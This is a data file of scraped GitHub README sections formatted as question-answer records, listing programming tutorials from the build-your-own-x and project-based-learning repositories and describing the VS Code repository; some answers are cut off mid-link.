{"id": "gh_f72917eff352", "question": "How to: Build your own &lt;insert-technology-here&gt;", "question_body": "About codecrafters-io/build-your-own-x", "answer": "This repository is a compilation of well-written, step-by-step guides for re-creating our favorite technologies from scratch. \n\n> *What I cannot create, I do not understand — Richard Feynman.*\n\nIt's a great way to learn.\n\n* [3D Renderer](#build-your-own-3d-renderer)\n* [Augmented Reality](#build-your-own-augmented-reality)\n* [BitTorrent Client](#build-your-own-bittorrent-client)\n* [Blockchain / Cryptocurrency](#build-your-own-blockchain--cryptocurrency)\n* [Bot](#build-your-own-bot)\n* [Command-Line Tool](#build-your-own-command-line-tool)\n* [Database](#build-your-own-database)\n* [Docker](#build-your-own-docker)\n* [Emulator / Virtual Machine](#build-your-own-emulator--virtual-machine)\n* [Front-end Framework / Library](#build-your-own-front-end-framework--library)\n* [Game](#build-your-own-game)\n* [Git](#build-your-own-git)\n* [Network Stack](#build-your-own-network-stack)\n* [Neural Network](#build-your-own-neural-network)\n* [Operating System](#build-your-own-operating-system)\n* [Physics Engine](#build-your-own-physics-engine)\n* [Programming Language](#build-your-own-programming-language)\n* [Regex Engine](#build-your-own-regex-engine)\n* [Search Engine](#build-your-own-search-engine)\n* [Shell](#build-your-own-shell)\n* [Template Engine](#build-your-own-template-engine)\n* [Text Editor](#build-your-own-text-editor)\n* [Visual Recognition System](#build-your-own-visual-recognition-system)\n* [Voxel Engine](#build-your-own-voxel-engine)\n* [Web Browser](#build-your-own-web-browser)\n* [Web Server](#build-your-own-web-server)\n* [Uncategorized](#uncategorized)", "tags": ["codecrafters-io"], "source": "github_gists", "category": "codecrafters-io", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 457263, "answer_score": 10, "has_code": false, "url": "https://github.com/codecrafters-io/build-your-own-x", "collected_at": "2026-01-16T23:29:06.435279"}
{"id": "gh_96719e1ed012", "question": "How to: Contribute", "question_body": "About codecrafters-io/build-your-own-x", "answer": "* Submissions welcome, just send a PR, or [create an issue](https://github.com/codecrafters-io/build-your-own-x/issues/new)\n* Help us review [pending submissions](https://github.com/codecrafters-io/build-your-own-x/issues) by leaving comments and \"reactions\"", "tags": ["codecrafters-io"], "source": "github_gists", "category": "codecrafters-io", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 457263, "answer_score": 10, "has_code": false, "url": "https://github.com/codecrafters-io/build-your-own-x", "collected_at": "2026-01-16T23:29:06.435382"}
{"id": "gh_12918806229d", "question": "How to: Origins & License", "question_body": "About codecrafters-io/build-your-own-x", "answer": "[![CC0](https://mirrors.creativecommons.org/presskit/buttons/88x31/svg/cc-zero.svg)](https://creativecommons.org/publicdomain/zero/1.0/)\n\nThis repository is the work of [many contributors](https://github.com/codecrafters-io/build-your-own-x/graphs/contributors). It was started by [Daniel Stefanovic](https://github.com/danistefanovic), and is now maintained by [CodeCrafters, Inc.](https://codecrafters.io) To the extent possible under law, [CodeCrafters, Inc.](https://codecrafters.io) has waived all copyright and related or neighboring rights to this work.", "tags": ["codecrafters-io"], "source": "github_gists", "category": "codecrafters-io", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 457263, "answer_score": 10, "has_code": false, "url": "https://github.com/codecrafters-io/build-your-own-x", "collected_at": "2026-01-16T23:29:06.435390"}
{"id": "gh_cae1b9f6fea1", "question": "How to: Table of Contents:", "question_body": "About practical-tutorials/project-based-learning", "answer": "- [C#](#c)\n- [C/C++](#cc)\n- [Clojure](#clojure)\n- [Dart](#dart)\n- [Elixir](#elixir)\n- [Erlang](#erlang)\n- [F#](#f)\n- [Go](#go)\n- [Haskell](#haskell)\n- [HTML/CSS](#html-and-css)\n- [Java](#java)\n- [JavaScript](#javascript)\n- [Kotlin](#kotlin)\n- [Lua](#lua)\n- [OCaml](#ocaml)\n- [PHP](#php)\n- [Python](#python)\n- [R](#r)\n- [Ruby](#ruby)\n- [Rust](#rust)\n- [Scala](#scala)\n- [Swift](#swift)\n- [Additional resources](#additional-resources)", "tags": ["practical-tutorials"], "source": "github_gists", "category": "practical-tutorials", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 255821, "answer_score": 10, "has_code": false, "url": "https://github.com/practical-tutorials/project-based-learning", "collected_at": "2026-01-16T23:29:14.066313"}
{"id": "gh_b04489ee990a", "question": "How to: Network programming", "question_body": "About practical-tutorials/project-based-learning", "answer": "- Let's Code a TCP/IP Stack\n\n  - [Part 1: Ethernet & ARP](http://www.saminiir.com/lets-code-tcp-ip-stack-1-ethernet-arp/)\n  - [Part 2: IPv4 & ICMPv4](http://www.saminiir.com/lets-code-tcp-ip-stack-2-ipv4-icmpv4/)\n  - [Part 3: TCP Basics & Handshake](http://www.saminiir.com/lets-code-tcp-ip-stack-3-tcp-handshake/)\n  - [Part 4: TCP Data Flow & Socket API](http://www.saminiir.com/lets-code-tcp-ip-stack-4-tcp-data-flow-socket-api/)\n  - [Part 5: TCP Retransmission](http://www.saminiir.com/lets-code-tcp-ip-stack-5-tcp-retransmission/)\n\n- Programming concurrent servers\n\n  - [Part 1 - Introduction](https://eli.thegreenplace.net/2017/concurrent-servers-part-1-introduction/)\n  - [Part 2 - Threads](https://eli.thegreenplace.net/2017/concurrent-servers-part-2-threads/)\n  - [Part 3 - Event-driven](https://eli.thegreenplace.net/2017/concurrent-servers-part-3-event-driven/)\n  - [Part 4 - libuv](https://eli.thegreenplace.net/2017/concurrent-servers-part-4-libuv/)\n  - [Part 5 - Redis case study](https://eli.thegreenplace.net/2017/concurrent-servers-part-5-redis-case-study/)\n  - [Part 6 - Callbacks, Promises and async/await](https://eli.thegreenplace.net/2018/concurrent-servers-part-6-callbacks-promises-and-asyncawait/)\n\n- MQTT Broker from scratch\n  - [Part 1 - The protocol](https://codepr.github.io/posts/sol-mqtt-broker)\n  - [Part 2 - Networking](https://codepr.github.io/posts/sol-mqtt-broker-p2)\n  - [Part 3 - Server](https://codepr.github.io/posts/sol-mqtt-broker-p3)\n  - [Part 4 - Data structures](https://codepr.github.io/posts/sol-mqtt-broker-p4)\n  - [Part 5 - Topic abstraction](https://codepr.github.io/posts/sol-mqtt-broker-p5)\n  - [Part 6 - Handlers](https://codepr.github.io/posts/sol-mqtt-broker-p6)\n  - [Bonus - Multithreading](https://codepr.github.io/posts/sol-mqtt-broker-bonus)", "tags": ["practical-tutorials"], "source": "github_gists", "category": "practical-tutorials", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 255821, "answer_score": 10, "has_code": false, "url": "https://github.com/practical-tutorials/project-based-learning", "collected_at": "2026-01-16T23:29:14.066343"}
{"id": "gh_0e83fa329eb3", "question": "How to: JavaScript:", "question_body": "About practical-tutorials/project-based-learning", "answer": "- [Build 30 things in 30 days with 30 tutorials](https://javascript30.com)\n- [Build an App in Pure JS](https://medium.com/codingthesmartway-com-blog/pure-javascript-building-a-real-world-application-from-scratch-5213591cfcd6)\n- [Build a Jupyter Notebook Extension](https://link.medium.com/wWUO7TN8SS)\n- [Build a TicTacToe Game with JavaScript](https://medium.com/javascript-in-plain-english/build-tic-tac-toe-game-using-javascript-3afba3c8fdcc)\n- [Build a Simple Weather App With Vanilla JavaScript](https://webdesign.tutsplus.com/tutorials/build-a-simple-weather-app-with-vanilla-javascript--cms-33893)\n- [Build a Todo List App in JavaScript](https://github.com/dwyl/javascript-todo-list-tutorial)", "tags": ["practical-tutorials"], "source": "github_gists", "category": "practical-tutorials", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 255821, "answer_score": 10, "has_code": false, "url": "https://github.com/practical-tutorials/project-based-learning", "collected_at": "2026-01-16T23:29:14.066358"}
{"id": "gh_6d11f77d8886", "question": "How to: HTML and CSS:", "question_body": "About practical-tutorials/project-based-learning", "answer": "- [Build A Loading Screen](https://medium.freecodecamp.org/how-to-build-a-delightful-loading-screen-in-5-minutes-847991da509f)\n- [Build an HTML Calculator with JS](https://medium.freecodecamp.org/how-to-build-an-html-calculator-app-from-scratch-using-javascript-4454b8714b98)\n- [Build Snake using only JavaScript, HTML & CSS](https://www.freecodecamp.org/news/think-like-a-programmer-how-to-build-snake-using-only-javascript-html-and-css-7b1479c3339e/)", "tags": ["practical-tutorials"], "source": "github_gists", "category": "practical-tutorials", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 255821, "answer_score": 10, "has_code": false, "url": "https://github.com/practical-tutorials/project-based-learning", "collected_at": "2026-01-16T23:29:14.066364"}
{"id": "gh_0fb8a65e76aa", "question": "How to: Mobile Application:", "question_body": "About practical-tutorials/project-based-learning", "answer": "- [Build a React Native Todo Application](https://egghead.io/courses/build-a-react-native-todo-application)\n- [Build a React Native Application with Redux Thunk](https://medium.com/@alialhaddad/how-to-use-redux-thunk-in-react-and-react-native-4743a1321bd0)", "tags": ["practical-tutorials"], "source": "github_gists", "category": "practical-tutorials", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 255821, "answer_score": 10, "has_code": false, "url": "https://github.com/practical-tutorials/project-based-learning", "collected_at": "2026-01-16T23:29:14.066379"}
{"id": "gh_155c3f25f5e4", "question": "How to: Web Applications:", "question_body": "About practical-tutorials/project-based-learning", "answer": "#### React:\n\n- [Create Serverless React.js Apps](http://serverless-stack.com/)\n- [Create a Trello Clone](http://codeloveandboards.com/blog/2016/01/04/trello-tribute-with-phoenix-and-react-pt-1/)\n- [Create a Character Voting App with React, Node, MongoDB and SocketIO](http://sahatyalkabov.com/create-a-character-voting-app-using-react-nodejs-mongodb-and-socketio)\n- [React Tutorial: Cloning Yelp](https://www.fullstackreact.com/articles/react-tutorial-cloning-yelp/)\n- [Build a Full Stack Movie Voting App with Test-First Development using Mocha, React, Redux and Immutable](https://teropa.info/blog/2015/09/10/full-stack-redux-tutorial.html)\n- [Build a Twitter Stream with React and Node](https://scotch.io/tutorials/build-a-real-time-twitter-stream-with-node-and-react-js)\n- [Build A Simple Medium Clone using React.js and Node.js](https://medium.com/@kris101/clone-medium-on-node-js-and-react-js-731cdfbb6878)\n- [Integrate MailChimp in JS](https://medium.freecodecamp.org/how-to-integrate-mailchimp-in-a-javascript-web-app-2a889fb43f6f)\n- [Build A Chrome Extension with React + Parcel](https://medium.freecodecamp.org/building-chrome-extensions-in-react-parcel-79d0240dd58f)\n- [Build A ToDo App With React Native](https://blog.hasura.io/tutorial-fullstack-react-native-with-graphql-and-authentication-18183d13373a)\n- [Make a Chat Application](https://medium.freecodecamp.org/how-to-build-a-chat-application-using-react-redux-redux-saga-and-web-sockets-47423e4bc21a)\n- [Create a News App with React Native](https://medium.freecodecamp.org/create-a-news-app-using-react-native-ced249263627)\n- [Learn Webpack For React](https://medium.freecodecamp.org/learn-webpack-for-react-a36d4cac5060)\n- [Testing React App With Puppeteer and Jest](https://blog.bitsrc.io/testing-your-react-app-with-puppeteer-and-jest-c72b3dfcde59)\n- [Build Your Own React Boilerplate](https://medium.freecodecamp.org/how-to-build-your-own-react-boilerplate-2f8cbbeb9b3f)\n- [Code The Game Of Life With React](https://medium.freecodecamp.org/create-gameoflife-with-react-in-one-hour-8e686a410174)\n- [A Basic React+Redux Introductory Tutorial](https://hackernoon.com/a-basic-react-redux-introductory-tutorial-adcc681eeb5e)\n- [Build an Appointment Scheduler](https://hackernoon.com/build-an-appointment-scheduler-using-react-twilio-and-cosmic-js-95377f6d1040)\n- [Build A Chat App with Sentiment Analysis](https://codeburst.io/build-a-chat-app-with-sentiment-analysis-using-next-js-c43ebf3ea643)\n- [Build A Full Stack Web Application Setup](https://hackernoon.com/full-stack-web-application-using-react-node-js-express-and-webpack-97dbd5b9d708)\n- [Create Todoist clone with React and Firebase](https://www.youtube.com/watch?v=hT3j87FMR6M)\n- Build A Random Quote Machine\n  - [Part 1](https://www.youtube.com/watch?v=3QngsWA9IEE)\n  - [Part 2](https://www.youtube.com/watch?v=XnoTmO06OYo)\n  - [Part 3](https://www.youtube.com/watch?v=us51Jne67_I)\n  - [Part 4](https://www.youtube.com/watch?v=iZx7hqHb5MU)\n  - [Part 5](https://www.youtube.com/watch?v=lpba9vBqXl0)\n  - [Part 6](https://www.youtube.com/watch?v=Jvp8j6zrFHE)\n  - [Part 7](https://www.youtube.com/watch?v=M_hFfrN8_PQ)\n- [React Phone E-Commerce Project(video)](https://www.youtube.com/watch?v=-edmQKcOW8s)\n\n#### Angular:\n\n- [Build an Instagram Clone with Angular 1.x](https://hackhands.com/building-instagram-clone-angularjs-satellizer-nodejs-mongodb/)\n- Build an offline-capable Hacker News client with Angular 2+\n  - [Part 1](https://houssein.me/angular2-hacker-news)\n  - [Part 2](https://houssein.me/progressive-angular-applications)\n- [Build a Google+ clone with Django and AngularJS (Angular 1.x)](https://thinkster.io/django-angularjs-tutorial)\n- Build A Beautiful Real World App with Angular 8 :\n\n  - [Part I](https://medium.com/@hamedbaatour/build-a-real-world-beautiful-web-app-with-angular-6-a-to-z-ultimate-guide-2018-part-i-e121dd1d55e)\n  - [Part II](https://medium.com/@hamedbaatour/build-a-real-world-beautiful-web-app-with-angular-8-the-ultimate-guide-2019-part-ii-fe70852b2d6d)\n\n- [Build Responsive layout with BootStrap 4 and Angular 6](https://medium.com/@tomastrajan/how-to-build-responsive-layouts-with-bootstrap-4-and-angular-6-cfbb108d797b)\n- ToDo App with Angular 5\n  - [Introduction to Angular](http://www.discoversdk.com/blog/intro-to-angular-and-the-evolution-of-the-web)\n  - [Part 1](http://www.discoversdk.com/blog/angular-5-to-do-list-app-part-1)\n\n#### Node:\n\n- [Build a real-time Markdown Editor with NodeJS](https://scotch.io/tutorials/building-a-real-time-markdown-viewer)\n- [Test-Driven Development with Node, Postgres and Knex](http://mherman.org/blog/2016/04/28/test-driven-development-with-node/)\n- Write a Twitter Bot in Node.js\n  - [Part 1](https://codeburst.io/build-a-simple-twitter-bot-with-node-js-in-just-38-lines-of-code-ed92db9eb078)\n  - [Part 2](https://codeburst.io/build-a-simple-twitter-bot-with-node-js-part-2-do-more-2ef1e039715d)\n- [Build A Simple Search Bot in 30 minutes](https://medium.freecodecamp.org/how-to-build-a-sim", "tags": ["practical-tutorials"], "source": "github_gists", "category": "practical-tutorials", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 255821, "answer_score": 10, "has_code": false, "url": "https://github.com/practical-tutorials/project-based-learning", "collected_at": "2026-01-16T23:29:14.066411"}
{"id": "gh_febe0924ab5c", "question": "How to: Game Development:", "question_body": "About practical-tutorials/project-based-learning", "answer": "- [Make 2D Breakout Game using Phaser](https://developer.mozilla.org/en-US/docs/Games/Tutorials/2D_breakout_game_Phaser)\n- Make Flappy Bird in HTML5 and JavaScript with Phaser\n  - [Part 1](http://www.lessmilk.com/tutorial/flappy-bird-phaser-1)\n  - [Part 2](http://www.lessmilk.com/tutorial/flappy-bird-phaser-2)", "tags": ["practical-tutorials"], "source": "github_gists", "category": "practical-tutorials", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 255821, "answer_score": 10, "has_code": false, "url": "https://github.com/practical-tutorials/project-based-learning", "collected_at": "2026-01-16T23:29:14.066419"}
{"id": "gh_613e48513b03", "question": "How to: Desktop Application:", "question_body": "About practical-tutorials/project-based-learning", "answer": "- [Build A Desktop Chat App with React and Electron](https://medium.freecodecamp.org/build-a-desktop-chat-app-with-react-electron-and-chatkit-744d168e6f2f)", "tags": ["practical-tutorials"], "source": "github_gists", "category": "practical-tutorials", "difficulty": "intermediate", "quality_score": 0.73, "question_score": 255821, "answer_score": 10, "has_code": false, "url": "https://github.com/practical-tutorials/project-based-learning", "collected_at": "2026-01-16T23:29:14.066424"}
{"id": "gh_060e7defeb26", "question": "How to: Miscellaneous:", "question_body": "About practical-tutorials/project-based-learning", "answer": "- [How to Build a Web Framework in Less Than 20 Lines of Code](https://www.pubnub.com/blog/build-yourself-a-web-framework-in-less-than-20-lines-of-code/)\n- [Build Yourself a Redux](https://zapier.com/engineering/how-to-build-redux/)\n- [How to write your own Virtual DOM](https://medium.com/@deathmood/how-to-write-your-own-virtual-dom-ee74acc13060)\n- [Build A Realtime Serverless GraphQL API with WebSockets on AWS](https://andrewgriffithsonline.com/blog/serverless-websockets-on-aws/)", "tags": ["practical-tutorials"], "source": "github_gists", "category": "practical-tutorials", "difficulty": "intermediate", "quality_score": 0.68, "question_score": 255821, "answer_score": 10, "has_code": false, "url": "https://github.com/practical-tutorials/project-based-learning", "collected_at": "2026-01-16T23:29:14.066430"}
{"id": "gh_a629b9cc95f5", "question": "How to: Web Scraping:", "question_body": "About practical-tutorials/project-based-learning", "answer": "- [Mining Twitter Data with Python](https://marcobonzanini.com/2015/03/02/mining-twitter-data-with-python-part-1/)\n- [Scrape a Website with Scrapy and MongoDB](https://realpython.com/blog/python/web-scraping-with-scrapy-and-mongodb/)\n- [How To Scrape With Python and Selenium WebDriver](http://www.byperth.com/2018/04/25/guide-web-scraping-101-what-you-need-to-know-and-how-to-scrape-with-python-selenium-webdriver/)\n- [Which Movie Should I Watch using BeautifulSoup](https://medium.com/@nishantsahoo.in/which-movie-should-i-watch-5c83a3c0f5b1)", "tags": ["practical-tutorials"], "source": "github_gists", "category": "practical-tutorials", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 255821, "answer_score": 10, "has_code": false, "url": "https://github.com/practical-tutorials/project-based-learning", "collected_at": "2026-01-16T23:29:14.066439"}
{"id": "gh_a93c3da2c0f7", "question": "How to: Data Science:", "question_body": "About practical-tutorials/project-based-learning", "answer": "- Learn Python For Data Science by Doing Several Projects (video):\n  - [Part 1: Introduction](https://www.youtube.com/watch?v=T5pRlIbr6gg)\n  - [Part 2: Twitter Sentiment Analysis](https://www.youtube.com/watch?v=o_OZdbCzHUA)\n  - [Part 3: Recommendation Systems](https://www.youtube.com/watch?v=9gBC9R-msAk&list=PL2-dafEMk2A6QKz1mrk1uIGfHkC1zZ6UU&index=3)\n  - [Part 4: Predicting Stock Prices](https://www.youtube.com/watch?v=SSu00IRRraY&index=4&list=PL2-dafEMk2A6QKz1mrk1uIGfHkC1zZ6UU)\n  - [Part 5: Deep Dream in TensorFlow](https://www.youtube.com/watch?v=MrBzgvUNr4w&list=PL2-dafEMk2A6QKz1mrk1uIGfHkC1zZ6UU&index=5)\n  - [Part 6: Genetic Algorithms](https://www.youtube.com/watch?v=dSofAXnnFrY&index=6&list=PL2-dafEMk2A6QKz1mrk1uIGfHkC1zZ6UU)", "tags": ["practical-tutorials"], "source": "github_gists", "category": "practical-tutorials", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 255821, "answer_score": 10, "has_code": false, "url": "https://github.com/practical-tutorials/project-based-learning", "collected_at": "2026-01-16T23:29:14.066456"}
{"id": "gh_84d200346b87", "question": "How to: Machine Learning:", "question_body": "About practical-tutorials/project-based-learning", "answer": "- [Write Linear Regression From Scratch in Python](https://www.youtube.com/watch?v=uwwWVAgJBcM) (video)\n- [Step-By-Step Machine Learning In Python](https://machinelearningmastery.com/machine-learning-in-python-step-by-step/)\n- [Predict Quality Of Wine](https://medium.freecodecamp.org/using-machine-learning-to-predict-the-quality-of-wines-9e2e13d7480d)\n- [Solving A Fruits Classification Problem](https://towardsdatascience.com/solving-a-simple-classification-problem-with-python-fruits-lovers-edition-d20ab6b071d2)\n- [Learn Unsupervised Learning with Python](https://scikit-learn.org/stable/unsupervised_learning.html)\n- [Build Your Own Neural Net from Scratch in Python](https://towardsdatascience.com/how-to-build-your-own-neural-network-from-scratch-in-python-68998a08e4f6)\n- [Linear Regression in Python without sklearn](https://medium.com/we-are-orb/linear-regression-in-python-without-scikit-learn-50aef4b8d122)\n- [Multivariate Linear Regression without sklearn](https://medium.com/we-are-orb/multivariate-linear-regression-in-python-without-scikit-learn-7091b1d45905)\n- [Music Recommender using KNN](https://towardsdatascience.com/how-to-build-a-simple-song-recommender-296fcbc8c85)\n- Find Similar Quora Questions-\n  - [Using BOW, TFIDF and Xgboost](https://towardsdatascience.com/finding-similar-quora-questions-with-bow-tfidf-and-random-forest-c54ad88d1370)\n  - [Using Word2Vec and Xgboost](https://towardsdatascience.com/finding-similar-quora-questions-with-word2vec-and-xgboost-1a19ad272c0d)\n- [Detecting Fake News with Python and Machine Learning](https://data-flair.training/blogs/advanced-python-project-detecting-fake-news/)", "tags": ["practical-tutorials"], "source": "github_gists", "category": "practical-tutorials", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 255821, "answer_score": 10, "has_code": false, "url": "https://github.com/practical-tutorials/project-based-learning", "collected_at": "2026-01-16T23:29:14.066464"}
{"id": "gh_510ec88c64b4", "question": "How to: Deep Learning:", "question_body": "About practical-tutorials/project-based-learning", "answer": "- [Using Convolutional Neural Nets to Detect Facial Keypoints](http://danielnouri.org/notes/2014/12/17/using-convolutional-neural-nets-to-detect-facial-keypoints-tutorial/)\n- [Generate an Average Face using Python and OpenCV](https://www.learnopencv.com/average-face-opencv-c-python-tutorial/)\n- [Break A Captcha System using CNNs](https://medium.com/@ageitgey/how-to-break-a-captcha-system-in-15-minutes-with-machine-learning-dbebb035a710)\n- [Use pre-trained Inception model to provide image predictions](https://medium.com/google-cloud/keras-inception-v3-on-google-compute-engine-a54918b0058)\n- [Create your first CNN](https://hackernoon.com/deep-learning-cnns-in-tensorflow-with-gpus-cba6efe0acc2)\n- [Build A Facial Recognition Pipeline](https://hackernoon.com/building-a-facial-recognition-pipeline-with-deep-learning-in-tensorflow-66e7645015b8)\n- [Build An Image Caption Generator](https://medium.freecodecamp.org/building-an-image-caption-generator-with-deep-learning-in-tensorflow-a142722e9b1f)\n- [Make your Own Face Recognition System](https://medium.freecodecamp.org/making-your-own-face-recognition-system-29a8e728107c)\n- [Train a Language Detection AI in 20 minutes](https://towardsdatascience.com/how-i-trained-a-language-detection-ai-in-20-minutes-with-a-97-accuracy-fdeca0fb7724)\n- [Object Detection With Neural Networks](https://towardsdatascience.com/object-detection-with-neural-networks-a4e2c46b4491)\n- Learn Twitter Sentiment Analysis -\n  - [Part I - Data Cleaning](https://towardsdatascience.com/another-twitter-sentiment-analysis-bb5b01ebad90)\n  - [Part II - EDA, Data Visualisation](https://towardsdatascience.com/another-twitter-sentiment-analysis-with-python-part-2-333514854913)\n  - [Part III - Zipf's Law, Data Visualisation](https://towardsdatascience.com/another-twitter-sentiment-analysis-with-python-part-3-zipfs-law-data-visualisation-fc9eadda71e7)\n  - [Part IV - Feature Extraction(count vectoriser)](https://towardsdatascience.com/another-twitter-sentiment-analysis-with-python-part-4-count-vectorizer-b3f4944e51b5)\n  - [Part V - Feature Extraction(Tfidf vectoriser)](https://towardsdatascience.com/another-twitter-sentiment-analysis-with-python-part-5-50b4e87d9bdd)\n  - [Part VI - Doc2Vec](https://towardsdatascience.com/another-twitter-sentiment-analysis-with-python-part-6-doc2vec-603f11832504)\n  - [Part VII - Phrase Modeling + Doc2Vec](https://towardsdatascience.com/another-twitter-sentiment-analysis-with-python-part-7-phrase-modeling-doc2vec-592a8a996867)\n  - [Part VIII - Dimensionality Reduction](https://towardsdatascience.com/another-twitter-sentiment-analysis-with-python-part-8-dimensionality-reduction-chi2-pca-c6d06fb3fcf3)\n  - [Part IX - Neural Nets with Tfdif vectors](https://towardsdatascience.com/another-twitter-sentiment-analysis-with-python-part-9-neural-networks-with-tfidf-vectors-using-d0b4af6be6d7)\n  - [Part X - Neural Nets with word2vec/doc2vec](https://towardsdatascience.com/another-twitter-sentiment-analysis-with-python-part-10-neural-network-with-a6441269aa3c)\n  - [Part XI - CNN with Word2Vec](https://towardsdatascience.com/another-twitter-sentiment-analysis-with-python-part-11-cnn-word2vec-41f5e28eda74)\n- [Use Transfer Learning for custom image classification](https://becominghuman.ai/transfer-learning-retraining-inception-v3-for-custom-image-classification-2820f653c557)\n- [Learn to Code a simple Neural Network in 11 lines of Python](https://iamtrask.github.io/2015/07/12/basic-python-network/)\n- [Build a Neural Network using Gradient Descent Approach](https://iamtrask.github.io/2015/07/27/python-network-part2/)\n- [Train a Keras Model To Generate Colors](https://heartbeat.fritz.ai/how-to-train-a-keras-model-to-generate-colors-3bc79e54971b)\n- [Get Started with Keras on a Custom Dataset](https://www.pyimagesearch.com/2018/09/10/keras-tutorial-how-to-get-started-with-keras-deep-learning-and-python/)\n- [Use EigenFaces and FisherFaces on Faces94 dataset](https://nicholastsmith.wordpress.com/2016/02/18/eigenfaces-versus-fisherfaces-on-the-faces94-database-with-scikit-learn/)\n- [Kaggle MNIST Digit Recognizer Tutorial](https://medium.com/@lvarruda/how-to-get-top-2-position-on-kaggles-mnist-digit-recognizer-48185d80a2d4)\n- [Fashion MNIST tutorial with tf.keras](https://medium.com/tensorflow/hello-deep-learning-fashion-mnist-with-keras-50fcff8cd74a)\n- [CNN using Keras to automatically classify root health](https://www.pyimagesearch.com/2018/10/15/deep-learning-hydroponics-and-medical-marijuana/)\n- [Keras vs Tensorflow](https://www.pyimagesearch.com/2018/10/08/keras-vs-tensorflow-which-one-is-better-and-which-one-should-i-learn/)\n- [Deep Learning and Medical Image Analysis for Malaria Detection](https://www.pyimagesearch.com/2018/12/03/deep-learning-and-medical-image-analysis-with-keras/)\n- [Transfer Learning for Image Classification using Keras](https://towardsdatascience.com/transfer-learning-for-image-classification-using-keras-c47ccf09c8c8)\n- [Code a Smile Classifier using CNNS in Python](https://git", "tags": ["practical-tutorials"], "source": "github_gists", "category": "practical-tutorials", "difficulty": "intermediate", "quality_score": 0.83, "question_score": 255821, "answer_score": 10, "has_code": false, "url": "https://github.com/practical-tutorials/project-based-learning", "collected_at": "2026-01-16T23:29:14.066482"}
{"id": "gh_d4c496e95b9f", "question": "How to: Ruby on Rails:", "question_body": "About practical-tutorials/project-based-learning", "answer": "- [The Ruby on Rails Tutorial](https://www.railstutorial.org/book)\n- [Build Instagram From Scratch with Ruby on Rails](https://www.dropbox.com/s/9vq430e9s3q7pu8/Let%27s%20Build%20Instagram%20with%20Ruby%20on%20Rails%20-%20Free%20Edition.pdf?dl=0)\n- [Build a Social Network using Rails](https://medium.com/rails-ember-beyond/how-to-build-a-social-network-using-rails-eb31da569233)\n- [How To Build a Ruby on Rails Application](https://www.digitalocean.com/community/tutorials/how-to-build-a-ruby-on-rails-application)", "tags": ["practical-tutorials"], "source": "github_gists", "category": "practical-tutorials", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 255821, "answer_score": 10, "has_code": false, "url": "https://github.com/practical-tutorials/project-based-learning", "collected_at": "2026-01-16T23:29:14.066502"}
{"id": "gh_913d7ecef337", "question": "How to: Additional Resources", "question_body": "About practical-tutorials/project-based-learning", "answer": "- [React Redux Links](https://github.com/markerikson/react-redux-links)\n- [Udemy.com](https://www.udemy.com/)\n- [Full Stack Python](https://www.fullstackpython.com/)\n- [Node School](https://nodeschool.io/)\n- [ScotchIO](https://scotch.io/)\n- [Exercism](http://www.exercism.io/)\n- [Egghead.io](http://www.egghead.io/)\n- [Michael Herman's Blog](http://mherman.org/)\n- [Thinkster.io](http://thinkster.io)\n- [Enlight](https://enlight.nyc/)\n- [Hack Club Workshops](https://hackclub.com/workshops/)\n- [CodeCrafters](https://codecrafters.io/)", "tags": ["practical-tutorials"], "source": "github_gists", "category": "practical-tutorials", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 255821, "answer_score": 10, "has_code": false, "url": "https://github.com/practical-tutorials/project-based-learning", "collected_at": "2026-01-16T23:29:14.066513"}
{"id": "gh_64d08ab99bc1", "question": "How to: The Repository", "question_body": "About microsoft/vscode", "answer": "This repository (\"`Code - OSS`\") is where we (Microsoft) develop the [Visual Studio Code](https://code.visualstudio.com) product together with the community. Not only do we work on code and issues here, we also publish our [roadmap](https://github.com/microsoft/vscode/wiki/Roadmap), [monthly iteration plans](https://github.com/microsoft/vscode/wiki/Iteration-Plans), and our [endgame plans](https://github.com/microsoft/vscode/wiki/Running-the-Endgame). This source code is available to everyone under the standard [MIT license](https://github.com/microsoft/vscode/blob/main/LICENSE.txt).", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 180745, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/vscode", "collected_at": "2026-01-16T23:29:31.422761"}
{"id": "gh_4a03706ad4ec", "question": "How to: Visual Studio Code", "question_body": "About microsoft/vscode", "answer": "[Visual Studio Code](https://code.visualstudio.com) is a distribution of the `Code - OSS` repository with Microsoft-specific customizations released under a traditional [Microsoft product license](https://code.visualstudio.com/License/).\n\n[Visual Studio Code](https://code.visualstudio.com) combines the simplicity of a code editor with what developers need for their core edit-build-debug cycle. It provides comprehensive code editing, navigation, and understanding support along with lightweight debugging, a rich extensibility model, and lightweight integration with existing tools.\n\nVisual Studio Code is updated monthly with new features and bug fixes. You can download it for Windows, macOS, and Linux on [Visual Studio Code's website](https://code.visualstudio.com/Download). To get the latest releases every day, install the [Insiders build](https://code.visualstudio.com/insiders).", "tags": ["microsoft"], "source": "github_gists", "category": "microsoft", "difficulty": "intermediate", "quality_score": 0.78, "question_score": 180745, "answer_score": 10, "has_code": false, "url": "https://github.com/microsoft/vscode", "collected_at": "2026-01-16T23:29:31.422776"}
{"id": "gh_f991d671413e", "question": "How to: Contributing", "question_body": "About microsoft/vscode", "answer": "There are many ways in which you can participate in this project, for example:\n\n* [Submit bugs and feature requests](https://github.com/microsoft/vscode/issues), and help us verify as they are checked in\n* Review [source code changes](https://github.com/microsoft/vscode/pulls)\n* Review the [documentation](https://github.com/microsoft/vscode-docs) and make pull requests for anything from typos to additional and new content\n\nIf you are interested in fixing issues and contributing directly to the code base,\nplease see the document [How to Contribute](https://github.com/microsoft/vscode/wiki/How-to-Contribute), which covers the following:\n\n* [How to build and run from source](https://github.com/microsoft/vscode/wiki/How-to-Contribute)\n* [The development workflow, including debugging and running tests](https://github.com/microsoft/vscode/wiki/How-to-Contribute#debugging)\n* [Coding guidelines](https://github.com/microsoft/vscode/wiki/Coding-Guidelines)\n* 